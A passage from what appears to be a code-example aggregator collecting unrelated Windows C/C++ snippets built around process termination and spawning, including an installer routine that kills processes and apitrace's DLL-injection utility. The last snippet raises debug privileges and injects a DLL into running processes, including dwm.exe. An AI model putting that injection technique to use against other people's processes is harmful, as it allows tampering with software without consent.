    switch (uMsg)
    {
        case WM_INITDIALOG:
        {
            OnInitDialog(hwndDlg, pData);
            break;
        }

        case WM_DESTROY:
        {
            if (pData->PrevWindowPi.hProcess)
            {
                TerminateProcess(pData->PrevWindowPi.hProcess, 0);
                CloseHandle(pData->PrevWindowPi.hProcess);
                CloseHandle(pData->PrevWindowPi.hThread);
            }
            HeapFree(GetProcessHeap(),
                     0,
                     pData);
            break;
        }

        case WM_ENDSESSION:
        {
            SetScreenSaverPreviewBox(hwndDlg,
                                     pData);
            break;
        }

        case WM_COMMAND:
        {
            DWORD controlId = LOWORD(wParam);
            DWORD command   = HIWORD(wParam);

            switch (controlId)
            {
                case IDC_SCREENS_LIST:
                {
                    if (HIWORD(wParam) == CBN_SELCHANGE)
                    {
                        SelectionChanged(hwndDlg, pData);
                        SetScreenSaverPreviewBox(hwndDlg, pData);
                        PropSheet_Changed(GetParent(hwndDlg), hwndDlg);
                    }
                    break;
                }

                case IDC_SCREENS_TIMEDELAY:
                {
                    PropSheet_Changed(GetParent(hwndDlg), hwndDlg);
                    break;
                }

                case IDC_SCREENS_POWER_BUTTON: // Start Powercfg.Cpl
                {
                    if (command == BN_CLICKED)
                        WinExec("rundll32 shell32.dll,Control_RunDLL powercfg.cpl",SW_SHOWNORMAL);
                    break;
                }

                case IDC_SCREENS_TESTSC: // Screensaver Preview
                {
                    if(command == BN_CLICKED)
                    {
                        ScreensaverPreview(hwndDlg, pData);
                        SetScreenSaverPreviewBox(hwndDlg, pData);
                    }
                    break;
                }

                case IDC_SCREENS_SETTINGS: // Screensaver Settings
                {
                    if (command == BN_CLICKED)
                        ScreensaverConfig(hwndDlg, pData);
                    break;
                }

                case IDC_SCREENS_USEPASSCHK: // Screensaver Is Secure
                {
                    if (command == BN_CLICKED)
                    {
                        PropSheet_Changed(GetParent(hwndDlg), hwndDlg);
                    }
                    break;
                }
            }
            break;
        }

        case WM_NOTIFY:
        {
            LPNMHDR lpnm = (LPNMHDR)lParam;

            switch(lpnm->code)
            {
                case PSN_APPLY:
                {
                    SetScreenSaver(hwndDlg, pData);
                    return TRUE;
                }

                case PSN_SETACTIVE:
                {
                    /* Enable screensaver preview support */
                    SetScreenSaverPreviewBox(hwndDlg, pData);
                    break;
                }

                case PSN_KILLACTIVE:
                {
                    /* Kill running preview screensaver */
                    if (pData->PrevWindowPi.hProcess)
                    {
                        TerminateProcess(pData->PrevWindowPi.hProcess, 0);
                        CloseHandle(pData->PrevWindowPi.hProcess);
                        CloseHandle(pData->PrevWindowPi.hThread);
                        pData->PrevWindowPi.hThread = pData->PrevWindowPi.hProcess = NULL;
                    }
                    break;
                }
            }
        }
        break;
    }

    return FALSE;
}
Exemple #12
0
UINT KillRunningProcessesSlave( MSIHANDLE hInstall, BOOL bKill )
{
    UINT rv = ERROR_SUCCESS;
    _KillProc * kpList;
    int nKpList = 0;
    int i;
    int rowNum = 1;
    DWORD size;
    BOOL found = FALSE;

    MSIHANDLE hDatabase = NULL;
    MSIHANDLE hView = NULL;
    MSIHANDLE hViewInsert = NULL;
    MSIHANDLE hRecord = NULL;
    MSIHANDLE hRecordInsert = NULL;

    HANDLE hSnapshot = NULL;

    PROCESSENTRY32 pe;

    kpList = new _KillProc[MAX_KILL_PROCESSES];
    memset(kpList, 0, sizeof(*kpList) * MAX_KILL_PROCESSES);

    hDatabase = MsiGetActiveDatabase( hInstall );
    if( hDatabase == NULL ) {
        rv = GetLastError();
        goto _cleanup;
    }

    // If we are only going to list out the processes, delete all the existing
    // entries first.

    if(!bKill) {

        rv = MsiDatabaseOpenView( hDatabase,
            _T( "DELETE FROM `ListBox` WHERE `ListBox`.`Property` = 'KillableProcesses'" ),
            &hView); RV_BAIL;

        rv = MsiViewExecute( hView, NULL ); RV_BAIL;

        MsiCloseHandle( hView );

        hView = NULL;
        
        rv = MsiDatabaseOpenView( hDatabase,
              _T( "SELECT * FROM `ListBox` WHERE `Property` = 'KillableProcesses'" ),
            &hViewInsert); RV_BAIL;

        MsiViewExecute(hViewInsert, NULL);

        hRecordInsert = MsiCreateRecord(4);

        if(hRecordInsert == NULL) {
            rv = GetLastError();
            goto _cleanup;
        }
    }

    // Open a view
    rv = MsiDatabaseOpenView( hDatabase, 
        _T( "SELECT `Image`,`Desc` FROM `KillProcess`" ),
        &hView); RV_BAIL;

    rv = MsiViewExecute( hView, NULL ); RV_BAIL;

    do {
        rv = MsiViewFetch( hView, &hRecord );
        if(rv != ERROR_SUCCESS) {
            if(hRecord) 
                MsiCloseHandle(hRecord);
            hRecord = NULL;
            break;
        }

        kpList[nKpList].image = new TCHAR[ FIELD_SIZE ]; kpList[nKpList].image[0] = _T('\0');
        kpList[nKpList].desc = new TCHAR[ FIELD_SIZE ];  kpList[nKpList].desc[0] = _T('\0');
        nKpList++;

        size = FIELD_SIZE;
        rv = MsiRecordGetString(hRecord, 1, kpList[nKpList-1].image, &size); RV_BAIL;

        size = FIELD_SIZE;
        rv = MsiRecordGetString(hRecord, 2, kpList[nKpList-1].desc, &size); RV_BAIL;

        MsiCloseHandle(hRecord);
    } while(nKpList < MAX_KILL_PROCESSES);

    hRecord = NULL;

    // now we have all the processes in the array.  Check if they are running.
    
    hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    if(hSnapshot == INVALID_HANDLE_VALUE) {
        rv = GetLastError();
        goto _cleanup;
    }

    pe.dwSize = sizeof( PROCESSENTRY32 );

    if(!Process32First( hSnapshot, &pe )) {
        // technically we should at least find the MSI process, but we let this pass
        rv = ERROR_SUCCESS;
        goto _cleanup;
    }

    do {
        for(i=0; i<nKpList; i++) {
            if(!_tcsicmp( kpList[i].image, pe.szExeFile )) {
                // got one
                if(bKill) {
                    // try to kill the process
                    HANDLE hProcess = NULL;

                    // If we encounter an error, instead of bailing
                    // out, we continue on to the next process.  We
                    // may not have permission to kill all the
                    // processes we want to kill anyway.  If there are
                    // any files that we want to replace that is in
                    // use, Windows Installer will schedule a reboot.
                    // Also, it's not like we have an exhaustive list
                    // of all the programs that use Kerberos anyway.

                    hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
                    if(hProcess == NULL) {
                        rv = GetLastError();
                        break;
                    }

                    if(!TerminateProcess(hProcess, 0)) {
                        rv = GetLastError();
                        CloseHandle(hProcess);
                        break;
                    }

                    CloseHandle(hProcess);

                } else {
                    TCHAR buf[256];

                    // we are supposed to just list out the processes
                    rv = MsiRecordClearData( hRecordInsert ); RV_BAIL;
                    rv = MsiRecordSetString( hRecordInsert, 1, _T("KillableProcesses"));
                    rv = MsiRecordSetInteger( hRecordInsert, 2, rowNum++ ); RV_BAIL;
                    _itot( rowNum, buf, 10 );
                    rv = MsiRecordSetString( hRecordInsert, 3, buf ); RV_BAIL;
                    if(_tcslen(kpList[i].desc)) {
                        rv = MsiRecordSetString( hRecordInsert, 4, kpList[i].desc ); RV_BAIL;
                    } else {
                        rv = MsiRecordSetString( hRecordInsert, 4, kpList[i].image ); RV_BAIL;
                    }
                    MsiViewModify(hViewInsert, MSIMODIFY_INSERT_TEMPORARY, hRecordInsert); RV_BAIL;

                    found = TRUE;
                }
                break;
            }
        }
   } while( Process32Next( hSnapshot, &pe ) );

    if(!bKill) {
        // set the 'FoundProcceses' property
        if(found) {
            MsiSetProperty( hInstall, _T("FoundProcesses"), _T("1"));
        } else {
            MsiSetProperty( hInstall, _T("FoundProcesses"), _T(""));
        }
    }

    // Finally:
    rv = ERROR_SUCCESS;

_cleanup:

    if(hRecordInsert) MsiCloseHandle(hRecordInsert);
    if(hViewInsert) MsiCloseHandle(hView);

    if(hSnapshot && hSnapshot != INVALID_HANDLE_VALUE) CloseHandle(hSnapshot);

    while(nKpList) {
        nKpList--;
        delete kpList[nKpList].image;
        delete kpList[nKpList].desc;
    }
    delete kpList;

    if(hRecord) MsiCloseHandle(hRecord);
    if(hView) MsiCloseHandle(hView);

    if(hDatabase) MsiCloseHandle(hDatabase);

    if(rv != ERROR_SUCCESS) {
        ShowMsiError(hInstall, ERR_PROC_LIST, rv);
    }

    return rv;
}
Exemple #13
0
/*-----------------------------------------------------------------------------
	Close any dialog windows that may be open
-----------------------------------------------------------------------------*/
void CurlBlastDlg::CloseDialogs(void)
{
    TCHAR szTitle[1025];
    // make sure wptdriver isn't doing a software install
    bool installing = false;
    HWND hWptDriver = ::FindWindow(_T("wptdriver_wnd"), NULL);
    if (hWptDriver) {
        if (::GetWindowText(hWptDriver, szTitle, _countof(szTitle))) {
            CString title = szTitle;
            title.MakeLower();
            if (title.Find(_T(" software")) >= 0)
                installing = true;
        }
    }

    // if there are any explorer windows open, disable this code (for local debugging and other work)
    if( !installing && !::FindWindow(_T("CabinetWClass"), NULL ) )
    {
        HWND hDesktop = ::GetDesktopWindow();
        HWND hWnd = ::GetWindow(hDesktop, GW_CHILD);
        TCHAR szClass[100];
        CArray<HWND> hDlg;
        const TCHAR * szKeepOpen[] = {
            _T("urlblast")
            , _T("url blast")
            , _T("task manager")
            , _T("aol pagetest")
            , _T("choose file")
            , _T("network delay simulator")
            , _T("shut down windows")
            , _T("vmware")
            , _T("security essentials")
        };

        // build a list of dialogs to close
        while(hWnd)
        {
            if(hWnd != m_hWnd)
            {
                if(::IsWindowVisible(hWnd))
                    if(::GetClassName(hWnd, szClass, 100))
                        if((!lstrcmp(szClass,_T("#32770"))||!lstrcmp(szClass,_T("Internet Explorer_Server")))) // check window title for all classes
                        {
                            bool bKill = true;

                            // make sure it is not in our list of windows to keep
                            if(::GetWindowText( hWnd, szTitle, 1024))
                            {
                                log.Trace(_T("Killing Dialog: %s"), szTitle);

                                _tcslwr_s(szTitle, _countof(szTitle));
                                for(int i = 0; i < _countof(szKeepOpen) && bKill; i++)
                                {
                                    if(_tcsstr(szTitle, szKeepOpen[i]))
                                        bKill = false;
                                }

                                // do we have to terminate the process that owns it?
                                if( !lstrcmp(szTitle, _T("server busy")) )
                                {
                                    log.Trace(_T("Terminating process"));
                                    DWORD pid;
                                    GetWindowThreadProcessId(hWnd, &pid);
                                    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
                                    if( hProcess )
                                    {
                                        TerminateProcess(hProcess, 0);
                                        CloseHandle(hProcess);
                                    }
                                }
                            }

                            if(bKill)
                                hDlg.Add(hWnd);
                        }

            }

            hWnd = ::GetWindow(hWnd, GW_HWNDNEXT);
        }

        // close all of the dialogs
        for(int i = 0; i < hDlg.GetSize(); i++)
        {
            //see if there is an OK button
            HWND hOk = ::FindWindowEx(hDlg[i], 0, 0, _T("OK"));
            if( hOk )
            {
                int id = ::GetDlgCtrlID(hOk);
                if( !id )
                    id = IDOK;
                ::PostMessage(hDlg[i],WM_COMMAND,id,0);
            }
            else
                ::PostMessage(hDlg[i],WM_CLOSE,0,0);
        }
    }
}
Exemple #14
0
int uv_spawn(uv_loop_t* loop,
             uv_process_t* process,
             const uv_process_options_t* options) {
  int i;
  int err = 0;
  WCHAR* path = NULL, *alloc_path = NULL;
  BOOL result;
  WCHAR* application_path = NULL, *application = NULL, *arguments = NULL,
         *env = NULL, *cwd = NULL;
  STARTUPINFOW startup;
  PROCESS_INFORMATION info;
  DWORD process_flags;

  uv_process_init(loop, process);
  process->exit_cb = options->exit_cb;

  if (options->flags & (UV_PROCESS_SETGID | UV_PROCESS_SETUID)) {
    return UV_ENOTSUP;
  }

  if (options->file == NULL ||
      options->args == NULL) {
    return UV_EINVAL;
  }

  if (options->cpumask != NULL) {
    if (options->cpumask_size < (size_t)uv_cpumask_size()) {
      return UV_EINVAL;
    }
  }

  assert(options->file != NULL);
  assert(!(options->flags & ~(UV_PROCESS_DETACHED |
                              UV_PROCESS_SETGID |
                              UV_PROCESS_SETUID |
                              UV_PROCESS_WINDOWS_HIDE |
                              UV_PROCESS_WINDOWS_VERBATIM_ARGUMENTS)));

  err = uv_utf8_to_utf16_alloc(options->file, &application);
  if (err)
    goto done;

  err = make_program_args(
      options->args,
      options->flags & UV_PROCESS_WINDOWS_VERBATIM_ARGUMENTS,
      &arguments);
  if (err)
    goto done;

  if (options->env) {
     err = make_program_env(options->env, &env);
     if (err)
       goto done;
  }

  if (options->cwd) {
    /* Explicit cwd */
    err = uv_utf8_to_utf16_alloc(options->cwd, &cwd);
    if (err)
      goto done;

  } else {
    /* Inherit cwd */
    DWORD cwd_len, r;

    cwd_len = GetCurrentDirectoryW(0, NULL);
    if (!cwd_len) {
      err = GetLastError();
      goto done;
    }

    cwd = (WCHAR*) uv__malloc(cwd_len * sizeof(WCHAR));
    if (cwd == NULL) {
      err = ERROR_OUTOFMEMORY;
      goto done;
    }

    r = GetCurrentDirectoryW(cwd_len, cwd);
    if (r == 0 || r >= cwd_len) {
      err = GetLastError();
      goto done;
    }
  }

  /* Get PATH environment variable. */
  path = find_path(env);
  if (path == NULL) {
    DWORD path_len, r;

    path_len = GetEnvironmentVariableW(L"PATH", NULL, 0);
    if (path_len == 0) {
      err = GetLastError();
      goto done;
    }

    alloc_path = (WCHAR*) uv__malloc(path_len * sizeof(WCHAR));
    if (alloc_path == NULL) {
      err = ERROR_OUTOFMEMORY;
      goto done;
    }
    path = alloc_path;

    r = GetEnvironmentVariableW(L"PATH", path, path_len);
    if (r == 0 || r >= path_len) {
      err = GetLastError();
      goto done;
    }
  }

  err = uv__stdio_create(loop, options, &process->child_stdio_buffer);
  if (err)
    goto done;

  application_path = search_path(application,
                                 cwd,
                                 path);
  if (application_path == NULL) {
    /* Not found. */
    err = ERROR_FILE_NOT_FOUND;
    goto done;
  }

  startup.cb = sizeof(startup);
  startup.lpReserved = NULL;
  startup.lpDesktop = NULL;
  startup.lpTitle = NULL;
  startup.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

  startup.cbReserved2 = uv__stdio_size(process->child_stdio_buffer);
  startup.lpReserved2 = (BYTE*) process->child_stdio_buffer;

  startup.hStdInput = uv__stdio_handle(process->child_stdio_buffer, 0);
  startup.hStdOutput = uv__stdio_handle(process->child_stdio_buffer, 1);
  startup.hStdError = uv__stdio_handle(process->child_stdio_buffer, 2);

  process_flags = CREATE_UNICODE_ENVIRONMENT;

  if (options->flags & UV_PROCESS_WINDOWS_HIDE) {
    /* Avoid creating console window if stdio is not inherited. */
    for (i = 0; i < options->stdio_count; i++) {
      if (options->stdio[i].flags & UV_INHERIT_FD)
        break;
      if (i == options->stdio_count - 1)
        process_flags |= CREATE_NO_WINDOW;
    }

    /* Use SW_HIDE to avoid any potential process window. */
    startup.wShowWindow = SW_HIDE;
  } else {
    startup.wShowWindow = SW_SHOWDEFAULT;
  }

  if (options->flags & UV_PROCESS_DETACHED) {
    /* Note that we're not setting the CREATE_BREAKAWAY_FROM_JOB flag. That
     * means that libuv might not let you create a fully daemonized process
     * when run under job control. However the type of job control that libuv
     * itself creates doesn't trickle down to subprocesses so they can still
     * daemonize.
     *
     * A reason to not do this is that CREATE_BREAKAWAY_FROM_JOB makes the
     * CreateProcess call fail if we're under job control that doesn't allow
     * breakaway.
     */
    process_flags |= DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP;
  }

  if (options->cpumask != NULL) {
    /* Create the child in a suspended state so we have a chance to set
       its process affinity before it runs.  */
    process_flags |= CREATE_SUSPENDED;
  }

  if (!CreateProcessW(application_path,
                     arguments,
                     NULL,
                     NULL,
                     1,
                     process_flags,
                     env,
                     cwd,
                     &startup,
                     &info)) {
    /* CreateProcessW failed. */
    err = GetLastError();
    goto done;
  }

  if (options->cpumask != NULL) {
    /* The child is currently suspended.  Set its process affinity
       or terminate it if we can't.  */
    int i;
    int cpumasksize;
    DWORD_PTR sysmask;
    DWORD_PTR oldmask;
    DWORD_PTR newmask;

    cpumasksize = uv_cpumask_size();

    if (!GetProcessAffinityMask(info.hProcess, &oldmask, &sysmask)) {
      err = GetLastError();
      TerminateProcess(info.hProcess, 1);
      goto done;
    }

    newmask = 0;
    for (i = 0; i < cpumasksize; i++) {
      if (options->cpumask[i]) {
        if (oldmask & (((DWORD_PTR)1) << i)) {
          newmask |= ((DWORD_PTR)1) << i;
        } else {
          err = UV_EINVAL;
          TerminateProcess(info.hProcess, 1);
          goto done;
        }
      }
    }

    if (!SetProcessAffinityMask(info.hProcess, newmask)) {
      err = GetLastError();
      TerminateProcess(info.hProcess, 1);
      goto done;
    }

    /* The process affinity of the child is set.  Let it run.  */
    if (ResumeThread(info.hThread) == ((DWORD)-1)) {
      err = GetLastError();
      TerminateProcess(info.hProcess, 1);
      goto done;
    }
  }

  /* Spawn succeeded */
  /* Beyond this point, failure is reported asynchronously. */

  process->process_handle = info.hProcess;
  process->pid = info.dwProcessId;

  /* If the process isn't spawned as detached, assign to the global job */
  /* object so windows will kill it when the parent process dies. */
  if (!(options->flags & UV_PROCESS_DETACHED)) {
    uv_once(&uv_global_job_handle_init_guard_, uv__init_global_job_handle);

    if (!AssignProcessToJobObject(uv_global_job_handle_, info.hProcess)) {
      /* AssignProcessToJobObject might fail if this process is under job
       * control and the job doesn't have the
       * JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OK flag set, on a Windows version
       * that doesn't support nested jobs.
       *
       * When that happens we just swallow the error and continue without
       * establishing a kill-child-on-parent-exit relationship, otherwise
       * there would be no way for libuv applications run under job control
       * to spawn processes at all.
       */
      DWORD err = GetLastError();
      if (err != ERROR_ACCESS_DENIED)
        uv_fatal_error(err, "AssignProcessToJobObject");
    }
  }

  /* Set IPC pid to all IPC pipes. */
  for (i = 0; i < options->stdio_count; i++) {
    const uv_stdio_container_t* fdopt = &options->stdio[i];
    if (fdopt->flags & UV_CREATE_PIPE &&
        fdopt->data.stream->type == UV_NAMED_PIPE &&
        ((uv_pipe_t*) fdopt->data.stream)->ipc) {
      ((uv_pipe_t*) fdopt->data.stream)->pipe.conn.ipc_pid = info.dwProcessId;
    }
  }

  /* Setup notifications for when the child process exits. */
  result = RegisterWaitForSingleObject(&process->wait_handle,
      process->process_handle, exit_wait_callback, (void*)process, INFINITE,
      WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE);
  if (!result) {
    uv_fatal_error(GetLastError(), "RegisterWaitForSingleObject");
  }

  CloseHandle(info.hThread);

  assert(!err);

  /* Make the handle active. It will remain active until the exit callback */
  /* is made or the handle is closed, whichever happens first. */
  uv__handle_start(process);

  /* Cleanup, whether we succeeded or failed. */
 done:
  uv__free(application);
  uv__free(application_path);
  uv__free(arguments);
  uv__free(cwd);
  uv__free(env);
  uv__free(alloc_path);

  if (process->child_stdio_buffer != NULL) {
    /* Clean up child stdio handles. */
    uv__stdio_destroy(process->child_stdio_buffer);
    process->child_stdio_buffer = NULL;
  }

  return uv_translate_sys_error(err);
}
Exemple #15
0
// Force DWM process to recreate all its Direct3D objects.
static void
restartDwmComposition(HANDLE hProcess)
{
    HRESULT hr;

    HMODULE hModule = LoadLibraryA("dwmapi");
    assert(hModule);
    if (!hModule) {
        return;
    }

    typedef HRESULT (WINAPI *PFNDWMISCOMPOSITIONENABLED)(BOOL *pfEnabled);
    PFNDWMISCOMPOSITIONENABLED pfnDwmIsCompositionEnabled = (PFNDWMISCOMPOSITIONENABLED)GetProcAddress(hModule, "DwmIsCompositionEnabled");
    assert(pfnDwmIsCompositionEnabled);
    if (!pfnDwmIsCompositionEnabled) {
        return;
    }

    typedef HRESULT (WINAPI *PFNDWMENABLECOMPOSITION)(UINT uCompositionAction);
    PFNDWMENABLECOMPOSITION pfnDwmEnableComposition = (PFNDWMENABLECOMPOSITION)GetProcAddress(hModule, "DwmEnableComposition");
    assert(pfnDwmEnableComposition);
    if (!pfnDwmEnableComposition) {
        return;
    }


    BOOL bIsWindows8OrGreater = IsWindows8OrGreater();
    if (bIsWindows8OrGreater) {
        // Windows 8 ignores DwmEnableComposition(DWM_EC_DISABLECOMPOSITION).
        // It is however possible to force DWM to restart by restarting the
        // display device via the devcon utility 
        devconEnable(DEVCON_CLASS_DISPLAY);
    } else {

        BOOL fEnabled = FALSE;
        hr = pfnDwmIsCompositionEnabled(&fEnabled);
        if (FAILED(hr) || !fEnabled) {
            return;
        }

        fprintf(stderr, "info: restarting DWM composition\n");

        hr = pfnDwmEnableComposition(DWM_EC_DISABLECOMPOSITION);
        assert(SUCCEEDED(hr));
        if (FAILED(hr)) {
            return;
        }

        Sleep(1000/30);

        hr = pfnDwmEnableComposition(DWM_EC_ENABLECOMPOSITION);
        assert(SUCCEEDED(hr));
        (void)hr;
    }

    fprintf(stderr, "Press any key when finished tracing\n");
    getchar();

    DWORD dwExitCode;
    if (GetExitCodeProcess(hProcess, &dwExitCode) &&
        dwExitCode != STILL_ACTIVE) {
        // DWM process has already terminated
        return;
    }

    fprintf(stderr, "info: restarting DWM process\n");
    if (bIsWindows8OrGreater) {
        // From Windows 8 onwards DWM no longer runs as a service.  We just
        // kill it and winlogon parent process will respawn it.
        if (!TerminateProcess(hProcess, 0)) {
            logLastError("failed to terminate DWM process");
        }
    } else {
        hr = pfnDwmEnableComposition(DWM_EC_DISABLECOMPOSITION);
        assert(SUCCEEDED(hr));

        restartService("uxsms");
    }
}
Exemple #16
0
int work_over_actions(struct _config *cfg, char *path, char *strings[3])
{
    int i = 0, enable = TRUE, searchfor = 0, action = 0;
    struct process_record *pr = NULL;
    char buf[BUFSIZE];

    if (strings[0])
	ses_read_i(&cfg->sessionroot, path, strings[0], 0, &enable);

    if (!enable)
	return 0;

    if (!ses_read_i(&cfg->sessionroot, path, strings[1], 0, &searchfor))
	return 0;

    pr = get_nth_process_record(process_records, nprocesses, path, searchfor);

    i = 0; action = 0;
    sprintf(buf, strings[2], i);

    while (ses_read_i(&cfg->sessionroot, path, buf, 0, &action)) {
	switch (action) {
	case SESSION_ACTION_HIDE:
	    if (pr && pr->window)
		ShowWindow(pr->window, SW_HIDE);
	    break;
	case SESSION_ACTION_SHOW:
	    if (pr && pr->window) {
		ShowWindow(pr->window, /*SW_SHOWNORMAL*/ SW_SHOW);
		SetForegroundWindow(pr->window);
	    };
	    break;
	case SESSION_ACTION_MINIMIZE:
	    if (pr && pr->window)
		ShowWindow(pr->window, SW_MINIMIZE);
	    break;
	case SESSION_ACTION_MAXIMIZE:
	    if (pr && pr->window)
		ShowWindow(pr->window, SW_MAXIMIZE);
	    break;
	case SESSION_ACTION_CENTER:
	    if (pr && pr->window)
		center_window(pr->window);
	    break;
	case SESSION_ACTION_KILL:
	    if (pr && pr->window)
		SendMessage(pr->window, WM_CLOSE, 0, 0);
	    break;
	case SESSION_ACTION_MURDER:
	    if (pr)
		TerminateProcess(pr->hprocess, 0);
	    break;
	case SESSION_ACTION_RUN:
	    launch_putty(0, path);
	    break;
	};

	i++;
	sprintf(buf, strings[2], i);
    };

    return i;
};
Exemple #17
0
int
main(int argc, char *argv[])
{
    BOOL bDebug = FALSE;
    BOOL bAttach = FALSE;
    DWORD dwProcessId = 0;
    DWORD dwThreadId = 0;
    char cVerbosity = 0;

    const char *szDll = NULL;

    int option_index = 0;
    while (true) {
        int opt = getopt_long_only(argc, argv, short_options, long_options, &option_index);
        if (opt == -1) {
            break;
        }
        switch (opt) {
            case 'h':
                help();
                return 0;
            case 'd':
                bDebug = TRUE;
                break;
            case 'D':
                szDll = optarg;
                break;
            case 'p':
                dwProcessId = strtoul(optarg, NULL, 0);
                bAttach = TRUE;
                break;
            case 't':
                dwThreadId = strtoul(optarg, NULL, 0);
                bAttach = TRUE;
                break;
            case 'v':
                ++cVerbosity;
                break;
            default:
                debugPrintf("inject: invalid option '%c'\n", optopt);
                help();
                return 1;
        }
    }

    if (!bAttach) {
        if (argc - optind < 1) {
            debugPrintf("inject: error: insufficient number of arguments\n");
            help();
            return 1;
        }

        if (isNumber(argv[optind])) {
            dwProcessId = atol(argv[optind]);
            bAttach = TRUE;
        } else if (argv[optind][0] == '!') {
            const char *szProcessName = &argv[optind][1];
            dwProcessId = getProcessIdByName(szProcessName);
            if (!dwProcessId) {
                debugPrintf("error: failed to find process %s\n", szProcessName);
                return 1;
            }
            bAttach = TRUE;
        }
    }

    if (!szDll) {
        debugPrintf("inject: error: DLL not specificed\n");
        help();
        return 1;
    }

    HANDLE hSemaphore = NULL;
    if (!USE_SHARED_MEM) {
        SetEnvironmentVariableA("INJECT_DLL", szDll);
    } else {
        hSemaphore = CreateSemaphore(NULL, 1, 1, "inject_semaphore");
        if (hSemaphore == NULL) {
            debugPrintf("error: failed to create semaphore\n");
            return 1;
        }

        DWORD dwWait = WaitForSingleObject(hSemaphore, 0);
        if (dwWait == WAIT_TIMEOUT) {
            debugPrintf("info: waiting for another inject instance to finish\n");
            dwWait = WaitForSingleObject(hSemaphore, INFINITE);
        }
        if (dwWait != WAIT_OBJECT_0) {
            debugPrintf("error: failed to enter semaphore gate\n");
            return 1;
        }

        SharedMem *pSharedMem = OpenSharedMemory();
        if (!pSharedMem) {
            debugPrintf("error: failed to open shared memory\n");
            return 1;
        }

        pSharedMem->cVerbosity = cVerbosity;

        strncpy(pSharedMem->szDllName, szDll, _countof(pSharedMem->szDllName) - 1);
        pSharedMem->szDllName[_countof(pSharedMem->szDllName) - 1] = '\0';
    }

    BOOL bAttachDwm = FALSE;
    PROCESS_INFORMATION processInfo;
    HANDLE hProcess;
    if (bAttach) {
        BOOL bRet;
        HANDLE hToken   = NULL;
        bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
        if (!bRet) {
            debugPrintf("error: OpenProcessToken returned %u\n", (unsigned)bRet);
            return 1;
        }

        LUID Luid;
        bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid);
        if (!bRet) {
            debugPrintf("error: LookupPrivilegeValue returned %u\n", (unsigned)bRet);
            return 1;
        }

        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = Luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof tp, NULL, NULL);
        if (!bRet) {
            debugPrintf("error: AdjustTokenPrivileges returned %u\n", (unsigned)bRet);
            return 1;
        }

        DWORD dwDesiredAccess =
            PROCESS_CREATE_THREAD |
            PROCESS_QUERY_INFORMATION |
            PROCESS_QUERY_LIMITED_INFORMATION |
            PROCESS_VM_OPERATION |
            PROCESS_VM_WRITE |
            PROCESS_VM_READ |
            PROCESS_TERMINATE;
        hProcess = OpenProcess(
            dwDesiredAccess,
            FALSE /* bInheritHandle */,
            dwProcessId);
        if (!hProcess) {
            logLastError("failed to open process");
            return 1;
        }

        char szProcess[MAX_PATH];
        DWORD dwRet = GetModuleFileNameEx(hProcess, 0, szProcess, sizeof szProcess);
        assert(dwRet);
        if (dwRet &&
            stricmp(getBaseName(szProcess), "dwm.exe") == 0) {
            bAttachDwm = TRUE;
        }
    } else {
        std::string commandLine;
        char sep = 0;
        for (int i = optind; i < argc; ++i) {
            const char *arg = argv[i];

            if (sep) {
                commandLine.push_back(sep);
            }

            if (needsQuote(arg)) {
                quoteArg(commandLine, arg);
            } else {
                commandLine.append(arg);
            }

            sep = ' ';
        }

        STARTUPINFO startupInfo;
        memset(&startupInfo, 0, sizeof startupInfo);
        startupInfo.cb = sizeof startupInfo;

        // Create the process in suspended state
        if (!CreateProcessA(
               NULL,
               const_cast<char *>(commandLine.c_str()), // only modified by CreateProcessW
               0, // process attributes
               0, // thread attributes
               TRUE, // inherit handles
               CREATE_SUSPENDED,
               NULL, // environment
               NULL, // current directory
               &startupInfo,
               &processInfo)) {
            DWORD dwLastError = GetLastError();
            fprintf(stderr, "inject: error: failed to execute %s (%lu)\n",
                    commandLine.c_str(), dwLastError);
            if (dwLastError == ERROR_ELEVATION_REQUIRED) {
                fprintf(stderr, "error: target program requires elevated priviledges and must be started from an Administrator Command Prompt, or UAC must be disabled\n");
            }
            return 1;
        }

        hProcess = processInfo.hProcess;
    }

    /*
     * XXX: Mixed architecture don't quite work.  See also
     * http://www.corsix.org/content/dll-injection-and-wow64
     */
    {
        typedef BOOL (WINAPI *PFNISWOW64PROCESS)(HANDLE, PBOOL);
        PFNISWOW64PROCESS pfnIsWow64Process;
        pfnIsWow64Process = (PFNISWOW64PROCESS)
            GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
        if (pfnIsWow64Process) {
            BOOL isParentWow64 = FALSE;
            BOOL isChildWow64 = FALSE;
            if (pfnIsWow64Process(GetCurrentProcess(), &isParentWow64) &&
                pfnIsWow64Process(hProcess, &isChildWow64) &&
                isParentWow64 != isChildWow64) {
                debugPrintf("error: binaries mismatch: you need to use the "
#ifdef _WIN64
                        "32-bits"
#else
                        "64-bits"
#endif
                        " apitrace binaries to trace this application\n");
                TerminateProcess(hProcess, 1);
                return 1;
            }
        }
    }

    if (bAttachDwm && IsWindows8OrGreater()) {
        // Switch to Microsoft Basic Display Driver before injecting, so that
        // we don't trace with it.
        devconDisable(DEVCON_CLASS_DISPLAY);
        Sleep(1000);
    }

    const char *szDllName;
    szDllName = "injectee.dll";

    char szDllPath[MAX_PATH];
    GetModuleFileNameA(NULL, szDllPath, sizeof szDllPath);
    getDirName(szDllPath);
    strncat(szDllPath, szDllName, sizeof szDllPath - strlen(szDllPath) - 1);

    if (bDebug) {
        if (!attachDebugger(GetProcessId(hProcess))) {
            if (!bAttach) {
                TerminateProcess(hProcess, 1);
            }
            return 1;
        }
    }

#if 1
    if (!injectDll(hProcess, szDllPath)) {
        if (!bAttach) {
            TerminateProcess(hProcess, 1);
        }
        return 1;
    }
#endif

    DWORD exitCode;

    if (bAttach) {
        if (bAttachDwm) {
            restartDwmComposition(hProcess);
        } else {
            fprintf(stderr, "Press any key when finished tracing\n");
            getchar();

            ejectDll(hProcess, szDllPath);
        }

        if (dwThreadId) {
